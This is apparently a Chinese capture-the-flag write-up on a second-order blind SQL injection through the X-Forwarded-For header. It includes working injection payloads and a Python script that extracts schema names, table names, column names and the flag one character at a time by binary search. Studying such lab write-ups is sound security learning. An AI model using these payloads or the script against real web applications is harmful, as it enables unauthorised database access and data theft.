这道题点开题目
然后题目显示不出网,一开始误认为是ssrf了,但是没有更多的信息了。
源码有一个ip会不会是修改X-Forwarded-For就可以了呢,抓包试一下,
发现有两个ip,一个当前一个是last上一个的意思把,这个本地是我火狐插件默认的。
然后这里因为我经验少没感觉,看了大佬的讲解,才突然悟了,这一眼就可以看出一个sql注入的问题,因为last肯定存储到了一个数据库的里面不然查询10.244.80.206怎么能显示出来呢。
经验不足,然后这下子才想到了二次注入,因为一开始是直接存了进去而后来如果我们在输入10.244.不就会在数据库查询有没有存在,没有的话才存数据库里面吗,所以思路来了如果存入危险sql然后第二次查找就会进行回显。
这里我一开始用的命令是
0' or ascii(substr((select database()),1,1)) > 1 #
但是返回的还是本身,然后换成了 '0把后面的引号闭合掉就可以了,这里想了一下会不会是存入数据库value ( #)会把括号闭合掉,或者过滤都有可能。
9上传两次就可以显现,因为第一次是存入数据库,第二次是查找
麻烦的就是呃呃不在当前数据库
import requests
url = "http://node4.buuoj.cn:28823/"
#这个head头好像必须加cookie
head ={
"X-Forwarded-For":"",
"Cookie" : "track_uuid=ce631f2b-5cab-4c99-a795-40e01e157888"
}
# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"
# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"
# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"
#查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"
flag =""
for i in range(1,1000):
low = 32
high =137
mid = (low+high)//2
while(low < high):
print(i,mid)
'''插入sql语句'''
payload1 = payload.format(i,mid)
head["X-Forwarded-For"] = payload1
print(head["X-Forwarded-For"])
r = requests.get(url,headers=head)
'''重新发送两次请求'''
head["X-Forwarded-For"]= "penson"
r = requests.get(url,headers=head)
r = requests.get(url,headers=head)
if "Last Ip: 1 " in r.text:
low = mid+1
else:
high = mid
mid =(low+high)//2
if(mid ==32 or mid ==127):
break
flag +=chr(mid)
print(flag)
print(flag)
难点:
其实我想了很久在这里,为什么不能直接自己查自己注入的这条命令,然后点了半天都没有变化,这时候突然想了起来,他是查询 当前命令之前存入数据库中的,所以是查不到的,我的脚本自己注入了person这里是为了当前才能获得之前也就是注入点的回显。
收获:
存在存入的功能,并且后续可以查询到,基本就有数据库,就可以联想到注入了。